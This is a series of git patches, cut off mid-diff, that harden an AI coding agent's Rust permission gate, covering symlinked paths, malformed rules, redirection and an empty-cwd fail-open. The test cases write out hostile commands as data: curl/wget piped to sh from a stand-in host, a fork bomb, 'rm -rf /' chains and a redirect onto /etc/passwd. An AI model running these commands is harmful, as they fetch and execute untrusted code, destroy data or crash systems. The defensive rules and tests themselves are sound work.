deny_pattern_with_a_chain_operator_matches_the_whole_command() { + // Segmenting first would split `curl x | sh` into `curl x` and `sh`, so neither piece holds + // the `|` the rule targets. The shipped `* | sh` / `* | bash` defaults rely on the whole + // command being tested before the split. + let cases = [ + ("bash(* | sh)", "curl https://evil.sh | sh"), + ("bash(* | bash)", "wget -O- https://evil.sh | bash"), + ]; + for (spec, command) in cases { + let rule = Rule::parse(spec).unwrap(); + assert!( + rule.matches("bash", &cmd(command), true), + "{spec} vs {command:?}" + ); + } + } + + #[test] + fn deny_exact_fork_bomb_matches_the_whole_command() { + // The fork-bomb default is an exact rule whose own text spans chain operators, so it only + // matches when the unsplit command is tested. + let rule = Rule::parse("bash(:(){ :|:& };:)").unwrap(); + assert!(rule.matches("bash", &cmd(":(){ :|:& };:"), true)); + } + // ── Rule::matches (path) ── #[test] From 66cba6ff4ec3daf6ea866d6e65219d5f46b72b27 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 10:56:51 +0800 Subject: [PATCH 07/16] fix(permission): resolve symlinked parents for brand-new write targets A new file cannot canonicalize, so the target path fell back to a purely lexical normalization. That kept `cwd/link/new.rs` textually under cwd even when `link` is a symlink to an external directory, letting a new-file write bypass the outside-cwd approval gate. Canonicalize the nearest existing ancestor first (resolving the symlink), then append the missing tail, falling back to lexical normalization only when no ancestor exists. A `..` traversal is still clamped before the inside-cwd test. --- crates/oxide-code/src/permission.rs | 90 ++++++++++++++++++++++++++--- 1 file changed, 83 insertions(+), 7 deletions(-) diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 6b6bca34..2bc045b1 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -139,14 +139,14 @@ pub(crate) enum GateTarget { impl GateTarget { /// Builds a path target by resolving `path` against `cwd`. An existing path is canonicalized - /// (resolving symlinks and `..`), while a path that cannot canonicalize yet (e.g. a brand-new - /// file) falls back to a lexical normalization that still resolves `..`, so a `../escape` + /// (resolving symlinks and `..`). A path that cannot canonicalize yet (e.g. a brand-new file) + /// has its nearest existing ancestor canonicalized, then the remaining components appended + /// lexically, so a symlinked parent resolves before the inside-cwd test and a `../escape` /// traversal can never masquerade as inside-cwd. The relative component is set only when the /// resolved path stays inside `cwd`, which drives the inside-cwd auto-allow. pub(crate) fn for_path(path: &str, cwd: &std::path::Path) -> Self { let joined = cwd.join(path); - let canonical = - std::fs::canonicalize(&joined).unwrap_or_else(|_| lexical_normalize(&joined)); + let canonical = std::fs::canonicalize(&joined).unwrap_or_else(|_| resolve_partial(&joined)); let relative = canonical .strip_prefix(cwd) .ok() @@ -265,9 +265,41 @@ pub(crate) fn parse_rules(raw: &[impl AsRef]) -> Result> { raw.iter().map(|s| Rule::parse(s.as_ref())).collect() } -/// Resolves `.` and `..` components in `path` without touching the filesystem, used when a target -/// path does not yet exist so [`std::fs::canonicalize`] cannot. A leading `..` that would escape -/// the root is dropped, matching how the OS clamps traversal at `/`. +/// Resolves a path whose tail does not exist yet, so [`std::fs::canonicalize`] cannot. The nearest +/// existing ancestor is canonicalized (resolving symlinks and `..` in the real part), then the +/// remaining components are appended lexically. This keeps a symlinked parent from smuggling an +/// outside path past the inside-cwd test: `cwd/link/new.rs` with `link` pointing outside `cwd` +/// resolves to the real outside location rather than staying textually under `cwd`. +fn resolve_partial(path: &std::path::Path) -> std::path::PathBuf { + // Walk up to the first ancestor that exists and canonicalizes, recording the trailing + // components we skipped so they can be re-applied to the resolved base. + let mut tail = Vec::new(); + let mut base = path; + loop { + if let Ok(real) = std::fs::canonicalize(base) { + let mut out = real; + for component in tail.iter().rev() { + out.push(component); + } + return out; + } + match base.parent() { + Some(parent) => { + if let Some(name) = base.file_name() { + tail.push(name.to_owned()); + } + base = parent; + } + // No ancestor exists (e.g. a path rooted outside any real directory): fall back to a + // pure lexical normalization, which still resolves `..` so a traversal can't masquerade. + None => return lexical_normalize(path), + } + } +} + +/// Resolves `.` and `..` components in `path` without touching the filesystem, the last-resort +/// fallback when not even an ancestor of the path exists. A leading `..` that would escape the root +/// is dropped, matching how the OS clamps traversal at `/`. fn lexical_normalize(path: &std::path::Path) -> std::path::PathBuf { use std::path::Component; @@ -376,6 +408,21 @@ mod tests { assert!(!target.as_target().is_inside_cwd()); } + #[cfg(unix)] + #[test] + fn for_path_new_file_under_a_symlinked_parent_is_not_inside_cwd() { + // A brand-new file can't canonicalize, but its parent symlink must still resolve so a write + // to `cwd/link/new.rs` where `link` points outside cwd is not waved through as inside-cwd. + let dir = tempfile::tempdir().unwrap(); + let cwd = std::fs::canonicalize(dir.path()).unwrap(); + let outside = tempfile::tempdir().unwrap(); + let outside = std::fs::canonicalize(outside.path()).unwrap(); + std::os::unix::fs::symlink(&outside, cwd.join("link")).unwrap(); + + let target = GateTarget::for_path("link/new.rs", &cwd); + assert!(!target.as_target().is_inside_cwd()); + } + // ── Policy::decide (precedence) ── #[test] @@ -575,4 +622,33 @@ mod tests { .to_string(); assert!(err.contains("invalid path glob"), "got: {err}"); } + + // ── resolve_partial ── + + #[cfg(unix)] + #[test] + fn resolve_partial_resolves_a_symlinked_ancestor() { + // The nearest existing ancestor canonicalizes (resolving the symlink), then the missing tail + // is appended, so the result reflects the real location rather than the textual one. + let dir = tempfile::tempdir().unwrap(); + let root = std::fs::canonicalize(dir.path()).unwrap(); + let outside = root.join("outside"); + std::fs::create_dir(&outside).unwrap(); + std::os::unix::fs::symlink(&outside, root.join("link")).unwrap(); + + let resolved = resolve_partial(&root.join("link/sub/new.rs")); + assert_eq!(resolved, outside.join("sub/new.rs")); + } + + // ── lexical_normalize ── + + #[test] + fn lexical_normalize_drops_a_dot_dot_that_would_escape_root() { + // The last-resort fallback when no ancestor exists: a leading `..` past root is clamped, not + // carried, matching the OS so a traversal can't escape. + assert_eq!( + lexical_normalize(std::path::Path::new("/a/../../b")), + std::path::PathBuf::from("/b") + ); + } } From ccdca8dc369f0e201af8e0b9f151cc7db6ba7205 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 10:58:32 +0800 Subject: [PATCH 08/16] fix(permission): reject permission rules with an unbalanced parenthesis A rule with an opening `(` but no closing `)` (or the reverse) parsed as a bare tool name with an empty specifier, producing a tool-wide rule on a tool no real call uses. A typo'd deny silently matched nothing instead of failing at config load. Treat an unbalanced parenthesis as a hard parse error, upholding the contract that malformed rules surface at load time. --- crates/oxide-code/src/permission/rule.rs | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index 2e19c6ca..c93b7109 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -48,13 +48,16 @@ enum BashSpec { impl Rule { /// Parses a `tool(specifier)` string. The first unescaped `(` opens the specifier and the - /// trailing `)` closes it, and everything else is a bare tool name. Path globs and wildcard - /// regexes compile here so a malformed rule fails at config load rather than mid-turn. + /// trailing `)` closes it, and a bare name with no parentheses is tool-wide. An unbalanced + /// parenthesis is a hard error so a typo like `bash(rm -rf:*` fails at config load rather than + /// parsing as a tool name that silently matches nothing. Path globs and wildcard regexes compile + /// here so a malformed rule fails at config load rather than mid-turn. pub(crate) fn parse(raw: &str) -> Result { let raw = raw.trim(); let (tool, spec_str) = match (raw.find('('), raw.strip_suffix(')')) { (Some(open), Some(_)) => (&raw[..open], &raw[open + 1..raw.len() - 1]), - _ => (raw, ""), + (None, None) => (raw, ""), + _ => anyhow::bail!("permission rule {raw:?} has an unbalanced parenthesis"), }; let tool = tool.trim().to_lowercase(); @@ -210,6 +213,16 @@ mod tests { assert!(err.contains("no tool name"), "got: {err}"); } + #[test] + fn parse_rejects_unbalanced_parenthesis() { + // A typo'd deny like `bash(rm -rf:*` must fail loudly, not parse as a tool named + // `bash(rm -rf:*` that silently matches no real call. + for raw in ["bash(rm -rf:*", "bash rm -rf:*)"] { + let err = Rule::parse(raw).unwrap_err().to_string(); + assert!(err.contains("unbalanced parenthesis"), "{raw}: {err}"); + } + } + #[test] fn parse_rejects_malformed_path_glob() { let err = Rule::parse("edit(src/**/[)").unwrap_err().to_string(); From d202a7038188e013b4ff41b98a7409ba543920ff Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:01:14 +0800 Subject: [PATCH 09/16] fix(permission): treat output redirection as compound for allow rules `is_compound` gated only chain operators and substitution, so a prefix allow like `bash(echo hi:*)` matched `echo hi > /etc/passwd`, letting a benign-looking allowlist entry clobber an arbitrary file. Add `>` / `<` to the allow-side compound check. Deny-side segment splitting is unchanged, since redirection does not chain a second command. --- crates/oxide-code/src/permission/rule.rs | 25 +++++++++++++++++------- docs/design/tools/permissions.md | 2 +- 2 files changed, 19 insertions(+), 8 deletions(-) diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index c93b7109..03a057be 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -138,11 +138,18 @@ impl BashSpec { /// and to reject compound commands for allow matching. const CHAIN_CHARS: [char; 4] = [';', '|', '&', '\n']; -/// Whether a command chains, pipes, redirects, or substitutes into another command. Best-effort: -/// it is the gate against an allow rule silently widening `cargo test` to `cargo test; rm -rf /`, -/// not a parser. +/// Redirection operators. They do not chain a second command, so they are not split points for deny +/// matching, but an allow rule must still refuse them: `echo hi > /etc/passwd` is not `echo hi`. +const REDIRECT_CHARS: [char; 2] = ['>', '<']; + +/// Whether a command chains, pipes, redirects, or substitutes into another command or file. +/// Best-effort: it is the gate against an allow rule silently widening `cargo test` to +/// `cargo test; rm -rf /` or `echo ok > /etc/passwd`, not a parser. fn is_compound(command: &str) -> bool { - command.contains(CHAIN_CHARS) || command.contains("$(") || command.contains('`') + command.contains(CHAIN_CHARS) + || command.contains(REDIRECT_CHARS) + || command.contains("$(") + || command.contains('`') } /// Splits a command on chain operators into trimmed, non-empty segments. `&&` and `||` split on @@ -256,12 +263,14 @@ mod tests { #[test] fn allow_prefix_refuses_compound_command() { - // The load-bearing safety property: `cargo test:*` must not allow a chained `rm`. + // The load-bearing safety property: `cargo test:*` must not allow a chained `rm` or a + // redirect that clobbers a file. let rule = Rule::parse("bash(cargo test:*)").unwrap(); assert!(!rule.matches("bash", &cmd("cargo test && rm -rf /"), false)); assert!(!rule.matches("bash", &cmd("cargo test; rm -rf /"), false)); assert!(!rule.matches("bash", &cmd("cargo test | tee out"), false)); assert!(!rule.matches("bash", &cmd("cargo test $(rm -rf /)"), false)); + assert!(!rule.matches("bash", &cmd("cargo test > /etc/passwd"), false)); } #[test] @@ -381,8 +390,10 @@ mod tests { } #[test] - fn is_compound_flags_chains_pipes_and_substitution() { - for c in ["a; b", "a && b", "a | b", "a\nb", "a $(b)", "a `b`"] { + fn is_compound_flags_chains_pipes_redirects_and_substitution() { + for c in [ + "a; b", "a && b", "a | b", "a\nb", "a $(b)", "a `b`", "a > f", "a >> f", "a < f", + ] { assert!(is_compound(c), "{c:?} should be compound"); } assert!(!is_compound("cargo test --all")); diff --git a/docs/design/tools/permissions.md b/docs/design/tools/permissions.md index 7e08fe82..5ab52379 100644 --- a/docs/design/tools/permissions.md +++ b/docs/design/tools/permissions.md @@ -28,7 +28,7 @@ Deny precedes every allow, so an explicit deny is never downgraded by an allow r Rules reuse Claude Code's `tool(specifier)` string form for transferable muscle memory, with tool-name matching case-insensitive so `Bash(...)` and `bash(...)` are equivalent. `bash` / `bash()` / `bash(*)` collapse to a tool-wide rule. Bash specifiers come in exact, prefix (`cargo test:*`), and wildcard (`git *`) shapes; `edit` / `write` specifiers are gitignore-style path globs resolved against the working directory. -The `bash` command string is unparsed (`bash -c "..."`), so prefix and wildcard matching is best-effort UX, not a boundary: `ls; rm -rf` and `$()` indirection defeat naive matching. Allow rules therefore match conservatively, and a compound command never matches a prefix allow. Deny rules match the raw string. Path keys are canonicalized before any inside-cwd test, since `edit` / `write` resolve neither `..` nor symlinks today, so a raw-string check is bypassable. +The `bash` command string is unparsed (`bash -c "..."`), so prefix and wildcard matching is best-effort UX, not a boundary: `ls; rm -rf` and `$()` indirection defeat naive matching. Allow rules therefore match conservatively, and a compound command (chained, substituted, or redirected with `>` / `<`) never matches a prefix allow. Deny rules match the whole command or any chained segment of it. Path keys are canonicalized before any inside-cwd test, since `edit` / `write` resolve neither `..` nor symlinks today, so a raw-string check is bypassable. ## Classifier From 6ae201a35877fd8ec195599ffa7ec1ac9e8550bb Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:03:51 +0800 Subject: [PATCH 10/16] fix(permission): never treat a path as inside a non-absolute cwd When `current_dir` fails, the call sites fall back to an empty `PathBuf`. An empty cwd made `strip_prefix("")` succeed for every target, including absolute paths outside any project, so the inside-cwd auto-allow fired on all edits: the one fail-open in the gate. Compute the relative component only when `cwd` is absolute. A non-absolute cwd now yields no relative component, so the call falls through to ask. --- crates/oxide-code/src/permission.rs | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 2bc045b1..8b6a8570 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -142,14 +142,17 @@ impl GateTarget { /// (resolving symlinks and `..`). A path that cannot canonicalize yet (e.g. a brand-new file) /// has its nearest existing ancestor canonicalized, then the remaining components appended /// lexically, so a symlinked parent resolves before the inside-cwd test and a `../escape` - /// traversal can never masquerade as inside-cwd. The relative component is set only when the - /// resolved path stays inside `cwd`, which drives the inside-cwd auto-allow. + /// traversal can never masquerade as inside-cwd. The relative component is set only when `cwd` + /// is absolute and the resolved path stays inside it, which drives the inside-cwd auto-allow. + /// A non-absolute `cwd` (e.g. an empty fallback after `current_dir` fails) yields no relative + /// component, so the call falls through to ask rather than auto-allowing every path. pub(crate) fn for_path(path: &str, cwd: &std::path::Path) -> Self { let joined = cwd.join(path); let canonical = std::fs::canonicalize(&joined).unwrap_or_else(|_| resolve_partial(&joined)); - let relative = canonical - .strip_prefix(cwd) - .ok() + let relative = cwd + .is_absolute() + .then(|| canonical.strip_prefix(cwd).ok()) + .flatten() .map(|r| r.to_string_lossy().into_owned()); Self::Path { canonical: canonical.to_string_lossy().into_owned(), @@ -423,6 +426,14 @@ mod tests { assert!(!target.as_target().is_inside_cwd()); } + #[test] + fn for_path_with_a_non_absolute_cwd_is_not_inside_cwd() { + // An empty cwd (the `current_dir` failure fallback) must not auto-allow every path. Without + // the absolute-cwd guard, `strip_prefix("")` would succeed for any target. + let target = GateTarget::for_path("a.rs", std::path::Path::new("")); + assert!(!target.as_target().is_inside_cwd()); + } + // ── Policy::decide (precedence) ── #[test] From f298136762e1f3c30d7340b8b7af465006ea6f8d Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:06:22 +0800 Subject: [PATCH 11/16] fix(tui): give a dropped approval decision an actionable error A full user-action channel routed an approval decision through the generic "prompt dropped (this is a bug)" message. An approval reply is a control-plane message the agent is actively blocked on, so a dropped one strands the turn rather than merely losing a prompt. Surface a message pointing at the Esc cancel path instead. --- crates/oxide-code/src/tui/app.rs | 33 ++++++++++++++++++++++++++++++++ 1 file changed, 33 insertions(+) diff --git a/crates/oxide-code/src/tui/app.rs b/crates/oxide-code/src/tui/app.rs index c114a18e..641df15f 100644 --- a/crates/oxide-code/src/tui/app.rs +++ b/crates/oxide-code/src/tui/app.rs @@ -285,6 +285,14 @@ impl App { self.input.set_enabled(false); self.should_quit = true; } + // An approval decision is a control-plane reply the agent is actively waiting for, so + // a dropped one leaves the turn blocked rather than merely losing a prompt. Point the + // user at the recovery path instead of the generic prompt-dropped message. + mpsc::error::TrySendError::Full(UserAction::ApprovalDecision { .. }) => { + self.chat.push_error( + "approval could not be delivered; press Esc to cancel the blocked turn", + ); + } mpsc::error::TrySendError::Full(_) => { self.chat .push_error("user-action channel full; prompt dropped (this is a bug)"); @@ -1637,6 +1645,31 @@ mod tests { assert!(app.chat.last_is_error()); } + #[test] + fn dispatch_full_channel_on_approval_points_to_the_cancel_recovery() { + // A dropped approval decision blocks the turn, unlike a dropped prompt, so the error must + // name the recovery path rather than the generic prompt-dropped message. + let (mut app, _rx, _agent_tx) = test_app(None); + app.dispatch_user_action(UserAction::SubmitPrompt("active".to_owned())); + for _ in 0..8 { + app.dispatch_user_action(UserAction::Cancel); + } + + app.dispatch_user_action(UserAction::ApprovalDecision { + id: "call-1".to_owned(), + decision: crate::agent::event::ApprovalDecision::Approve, + }); + + assert!(!app.should_quit, "Full is not fatal"); + assert!(app.chat.last_is_error()); + assert!( + app.chat + .last_error_text() + .is_some_and(|t| t.contains("Esc to cancel")), + "approval-drop error should name the cancel recovery", + ); + } + #[tokio::test] async fn dispatch_submit_during_busy_queues_and_forwards_for_mid_turn_drain() { let (mut app, mut rx, _agent_tx) = test_app(None); From 4c6a09e8822fc6d8a52081e139472f4013f9619e Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:10:48 +0800 Subject: [PATCH 12/16] refactor(permission): replace the deny bool with a MatchDiscipline enum `Rule::matches` took a bare `bool` to pick the allow vs deny matching discipline, so the two call sites read `matches(tool, target, true)`, hiding the most security-critical distinction in the rule layer behind an opaque flag. Promote it to a `MatchDiscipline::{Allow, Deny}` enum so the asymmetry is legible at every call site, with no behavior change. --- crates/oxide-code/src/permission.rs | 14 ++- crates/oxide-code/src/permission/rule.rs | 118 ++++++++++++++++------- 2 files changed, 94 insertions(+), 38 deletions(-) diff --git a/crates/oxide-code/src/permission.rs b/crates/oxide-code/src/permission.rs index 8b6a8570..dad385a5 100644 --- a/crates/oxide-code/src/permission.rs +++ b/crates/oxide-code/src/permission.rs @@ -13,7 +13,7 @@ use std::str::FromStr; use anyhow::{Result, bail}; use serde::{Deserialize, Serialize}; -use crate::permission::rule::Rule; +use crate::permission::rule::{MatchDiscipline, Rule}; use crate::tool::RiskClass; // ── Mode ── @@ -238,7 +238,11 @@ impl Policy { return Decision::Allow; } - if self.deny.iter().any(|r| r.matches(tool, target, true)) { + if self + .deny + .iter() + .any(|r| r.matches(tool, target, MatchDiscipline::Deny)) + { return Decision::Deny; } @@ -254,7 +258,11 @@ impl Policy { return Decision::Allow; } - if self.allow.iter().any(|r| r.matches(tool, target, false)) { + if self + .allow + .iter() + .any(|r| r.matches(tool, target, MatchDiscipline::Allow)) + { return Decision::Allow; } diff --git a/crates/oxide-code/src/permission/rule.rs b/crates/oxide-code/src/permission/rule.rs index 03a057be..b1127ad2 100644 --- a/crates/oxide-code/src/permission/rule.rs +++ b/crates/oxide-code/src/permission/rule.rs @@ -46,6 +46,18 @@ enum BashSpec { Wildcard(Regex), } +/// Which rule set a match is being evaluated for, selecting the compound-`bash`-command discipline. +/// Allow widens, so it matches conservatively; deny revokes, so it matches aggressively. Carrying +/// this as a type rather than a bare bool keeps the security-critical asymmetry legible at the two +/// call sites in [`crate::permission::Policy::decide`]. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum MatchDiscipline { + /// A single non-compound command must match the whole rule, so a chained command never widens. + Allow, + /// The whole command or any chained segment may match, so a danger behind a safe head is caught. + Deny, +} + impl Rule { /// Parses a `tool(specifier)` string. The first unescaped `(` opens the specifier and the /// trailing `)` closes it, and a bare name with no parentheses is tool-wide. An unbalanced @@ -77,16 +89,21 @@ impl Rule { Ok(Self { tool, spec }) } - /// Whether this rule matches a call to `tool` with `target`. `deny` selects the matching - /// discipline for compound `bash` commands: a deny rule matches the whole command or any chained + /// Whether this rule matches a call to `tool` with `target`. `discipline` selects the matching + /// rule for compound `bash` commands: a deny rule matches the whole command or any chained /// segment, an allow rule matches only a single non-compound command. - pub(crate) fn matches(&self, tool: &str, target: &Target<'_>, deny: bool) -> bool { + pub(crate) fn matches( + &self, + tool: &str, + target: &Target<'_>, + discipline: MatchDiscipline, + ) -> bool { if self.tool != tool { return false; } match (&self.spec, target) { (Spec::Any, _) => true, - (Spec::Bash(spec), Target::Command(cmd)) => spec.matches(cmd, deny), + (Spec::Bash(spec), Target::Command(cmd)) => spec.matches(cmd, discipline), ( Spec::Path(glob), Target::Path { @@ -111,8 +128,8 @@ impl BashSpec { } } - fn matches(&self, command: &str, deny: bool) -> bool { - if deny { + fn matches(&self, command: &str, discipline: MatchDiscipline) -> bool { + if discipline == MatchDiscipline::Deny { // Test the whole command before splitting so a deny pattern that itself contains a chain // operator (the shipped `* | sh` and fork-bomb defaults) still fires, then each segment // so a danger chained behind a safe head (`ls && rm -rf`) is caught too. @@ -197,21 +214,24 @@ mod tests { #[test] fn parse_bare_tool_name_is_tool_wide() { let rule = Rule::parse("bash").unwrap(); - assert!(rule.matches("bash", &cmd("anything; rm -rf /"), false)); + assert!(rule.matches("bash", &cmd("anything; rm -rf /"), MatchDiscipline::Allow)); } #[test] fn parse_empty_and_star_specifiers_are_tool_wide() { for raw in ["bash()", "bash(*)"] { let rule = Rule::parse(raw).unwrap(); - assert!(rule.matches("bash", &cmd("ls"), false), "{raw}"); + assert!( + rule.matches("bash", &cmd("ls"), MatchDiscipline::Allow), + "{raw}" + ); } } #[test] fn parse_lowercases_tool_name_for_case_insensitive_match() { let rule = Rule::parse("Bash(ls)").unwrap(); - assert!(rule.matches("bash", &cmd("ls"), false)); + assert!(rule.matches("bash", &cmd("ls"), MatchDiscipline::Allow)); } #[test] @@ -241,24 +261,28 @@ mod tests { #[test] fn bash_exact_matches_only_identical_command() { let rule = Rule::parse("bash(cargo build)").unwrap(); - assert!(rule.matches("bash", &cmd("cargo build"), false)); - assert!(!rule.matches("bash", &cmd("cargo build --release"), false)); + assert!(rule.matches("bash", &cmd("cargo build"), MatchDiscipline::Allow)); + assert!(!rule.matches( + "bash", + &cmd("cargo build --release"), + MatchDiscipline::Allow + )); } #[test] fn bash_prefix_matches_command_and_its_arguments() { let rule = Rule::parse("bash(cargo test:*)").unwrap(); - assert!(rule.matches("bash", &cmd("cargo test"), false)); - assert!(rule.matches("bash", &cmd("cargo test --all"), false)); + assert!(rule.matches("bash", &cmd("cargo test"), MatchDiscipline::Allow)); + assert!(rule.matches("bash", &cmd("cargo test --all"), MatchDiscipline::Allow)); // A different command that merely starts with the same letters must not match. - assert!(!rule.matches("bash", &cmd("cargo testbench"), false)); + assert!(!rule.matches("bash", &cmd("cargo testbench"), MatchDiscipline::Allow)); } #[test] fn bash_wildcard_anchors_both_ends() { let rule = Rule::parse("bash(git *)").unwrap(); - assert!(rule.matches("bash", &cmd("git status"), false)); - assert!(!rule.matches("bash", &cmd("cargo git"), false)); + assert!(rule.matches("bash", &cmd("git status"), MatchDiscipline::Allow)); + assert!(!rule.matches("bash", &cmd("cargo git"), MatchDiscipline::Allow)); } #[test] @@ -266,20 +290,32 @@ mod tests { // The load-bearing safety property: `cargo test:*` must not allow a chained `rm` or a // redirect that clobbers a file. let rule = Rule::parse("bash(cargo test:*)").unwrap(); - assert!(!rule.matches("bash", &cmd("cargo test && rm -rf /"), false)); - assert!(!rule.matches("bash", &cmd("cargo test; rm -rf /"), false)); - assert!(!rule.matches("bash", &cmd("cargo test | tee out"), false)); - assert!(!rule.matches("bash", &cmd("cargo test $(rm -rf /)"), false)); - assert!(!rule.matches("bash", &cmd("cargo test > /etc/passwd"), false)); + assert!(!rule.matches( + "bash", + &cmd("cargo test && rm -rf /"), + MatchDiscipline::Allow + )); + assert!(!rule.matches("bash", &cmd("cargo test; rm -rf /"), MatchDiscipline::Allow)); + assert!(!rule.matches("bash", &cmd("cargo test | tee out"), MatchDiscipline::Allow)); + assert!(!rule.matches( + "bash", + &cmd("cargo test $(rm -rf /)"), + MatchDiscipline::Allow + )); + assert!(!rule.matches( + "bash", + &cmd("cargo test > /etc/passwd"), + MatchDiscipline::Allow + )); } #[test] fn deny_prefix_matches_any_segment_of_compound_command() { // The mirror property: a deny must fire even when the danger is chained behind a safe head. let rule = Rule::parse("bash(rm -rf:*)").unwrap(); - assert!(rule.matches("bash", &cmd("rm -rf /"), true)); - assert!(rule.matches("bash", &cmd("ls && rm -rf /tmp/x"), true)); - assert!(rule.matches("bash", &cmd("echo hi; rm -rf ."), true)); + assert!(rule.matches("bash", &cmd("rm -rf /"), MatchDiscipline::Deny)); + assert!(rule.matches("bash", &cmd("ls && rm -rf /tmp/x"), MatchDiscipline::Deny)); + assert!(rule.matches("bash", &cmd("echo hi; rm -rf ."), MatchDiscipline::Deny)); } #[test] @@ -294,7 +330,7 @@ mod tests { for (spec, command) in cases { let rule = Rule::parse(spec).unwrap(); assert!( - rule.matches("bash", &cmd(command), true), + rule.matches("bash", &cmd(command), MatchDiscipline::Deny), "{spec} vs {command:?}" ); } @@ -305,7 +341,7 @@ mod tests { // The fork-bomb default is an exact rule whose own text spans chain operators, so it only // matches when the unsplit command is tested. let rule = Rule::parse("bash(:(){ :|:& };:)").unwrap(); - assert!(rule.matches("bash", &cmd(":(){ :|:& };:"), true)); + assert!(rule.matches("bash", &cmd(":(){ :|:& };:"), MatchDiscipline::Deny)); } // ── Rule::matches (path) ── @@ -318,12 +354,12 @@ mod tests { assert!(rule.matches( "write", &path("/repo/.git/hooks/pre-commit", Some(".git/hooks/pre-commit")), - true + MatchDiscipline::Deny )); assert!(!rule.matches( "write", &path("/repo/src/main.rs", Some("src/main.rs")), - true + MatchDiscipline::Deny )); } @@ -332,7 +368,11 @@ mod tests { // A cwd-relative glob must not match an absolute path that resolved outside the working // directory, so such targets fall through to ask rather than to a relative rule. let rule = Rule::parse("write(.git/**)").unwrap(); - assert!(!rule.matches("write", &path("/elsewhere/.git/config", None), true)); + assert!(!rule.matches( + "write", + &path("/elsewhere/.git/config", None), + MatchDiscipline::Deny + )); } #[test] @@ -340,29 +380,37 @@ mod tests { // An absolute glob (e.g. a `~`-expanded rule) matches the canonical path even with no // relative component. let rule = Rule::parse("read(/etc/**)").unwrap(); - assert!(rule.matches("read", &path("/etc/passwd", None), false)); - assert!(!rule.matches("read", &path("/home/u/.config", None), false)); + assert!(rule.matches("read", &path("/etc/passwd", None), MatchDiscipline::Allow)); + assert!(!rule.matches( + "read", + &path("/home/u/.config", None), + MatchDiscipline::Allow + )); } #[test] fn path_recursive_glob_spans_directories() { let rule = Rule::parse("edit(src/**)").unwrap(); - assert!(rule.matches("edit", &path("/repo/src/a/b.rs", Some("src/a/b.rs")), false)); + assert!(rule.matches( + "edit", + &path("/repo/src/a/b.rs", Some("src/a/b.rs")), + MatchDiscipline::Allow + )); } #[test] fn rule_does_not_match_other_tools() { let rule = Rule::parse("bash(ls)").unwrap(); - assert!(!rule.matches("edit", &cmd("ls"), false)); + assert!(!rule.matches("edit", &cmd("ls"), MatchDiscipline::Allow)); } #[test] fn bash_rule_ignores_path_target_and_vice_versa() { let bash_rule = Rule::parse("bash(ls)").unwrap(); - assert!(!bash_rule.matches("bash", &path("/x", None), false)); + assert!(!bash_rule.matches("bash", &path("/x", None), MatchDiscipline::Allow)); let path_rule = Rule::parse("edit(src/**)").unwrap(); - assert!(!path_rule.matches("edit", &cmd("src/a"), false)); + assert!(!path_rule.matches("edit", &cmd("src/a"), MatchDiscipline::Allow)); } // ── glob_to_regex ── From b1cd6ee1e30dbd90176a85718e6852e2947696f1 Mon Sep 17 00:00:00 2001 From: Hakula Chen Date: Fri, 26 Jun 2026 11:15:07 +0800 Subject: [PATCH 13/16] docs(permission): align the design doc and comments with shipped Phase 1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The design doc numbered a 5-step pipeline while the code ships 7 (plan and read-only split out), and described the classifier, session allow-always, and headless classifier path as if shipped. Renumber the pipeline, mark the later-phase steps inline, and rewrite the headless section to the actual deny-on-ask behavior. Fix the README index ("classifier" → "rule grammar"), the merge docstrings ("widens" was wrong for deny), the approval-preview "already truncated" claim, and drop the transitional "test-only until then" note from Mode::ALL. --- crates/oxide-code/src/agent/event.rs | 3 ++- crates/oxide-code/src/config/file.rs | 8 ++++---- crates/oxide-code/src/permission.rs | 2 +- docs/design/README.md | 8 ++++---- docs/design/tools/permissions.md | 27 ++++++++++++++------------- 5 files changed, 25 insertions(+), 23 deletions(-) diff --git a/crates/oxide-code/src/agent/event.rs b/crates/oxide-code/src/agent/event.rs index c083eec8..9f22410b 100644 --- a/crates/oxide-code/src/agent/event.rs +++ b/crates/oxide-code/src/agent/event.rs @@ -118,7 +118,8 @@ pub(crate) enum AgentEvent { pub(crate) struct ApprovalPreview { /// Tool display label, e.g. `Bash(cargo test)` or `Write(src/main.rs)`. pub(crate) title: String, - /// Body lines: an edit / write diff or the command string, already truncated for display. + /// Body lines: an edit / write diff or the command string, capped to a display height when the + /// modal flattens it for render. pub(crate) body: ApprovalBody, } diff --git a/crates/oxide-code/src/config/file.rs b/crates/oxide-code/src/config/file.rs index f4140509..91e66947 100644 --- a/crates/oxide-code/src/config/file.rs +++ b/crates/oxide-code/src/config/file.rs @@ -114,8 +114,8 @@ impl ClientConfig { impl PermissionFileConfig { /// `mode`: other wins. `allow` / `deny`: append `other` onto `self` so a higher-precedence - /// layer widens rather than replaces. Project trust is enforced before merge in - /// [`reject_project_permissions`], so by here every layer is allowed to contribute. + /// layer adds to rather than replaces the lower layer's rules. Project trust is enforced before + /// merge in [`reject_project_permissions`], so by here every layer is allowed to contribute. fn merge(self, other: Self) -> Self { Self { mode: other.mode.or(self.mode), @@ -179,8 +179,8 @@ fn merge_section(base: Option, other: Option, merge: fn(T, T) -> T) -> } /// Concatenates two optional rule lists, `base` first. `None` is the empty list, so the result is -/// 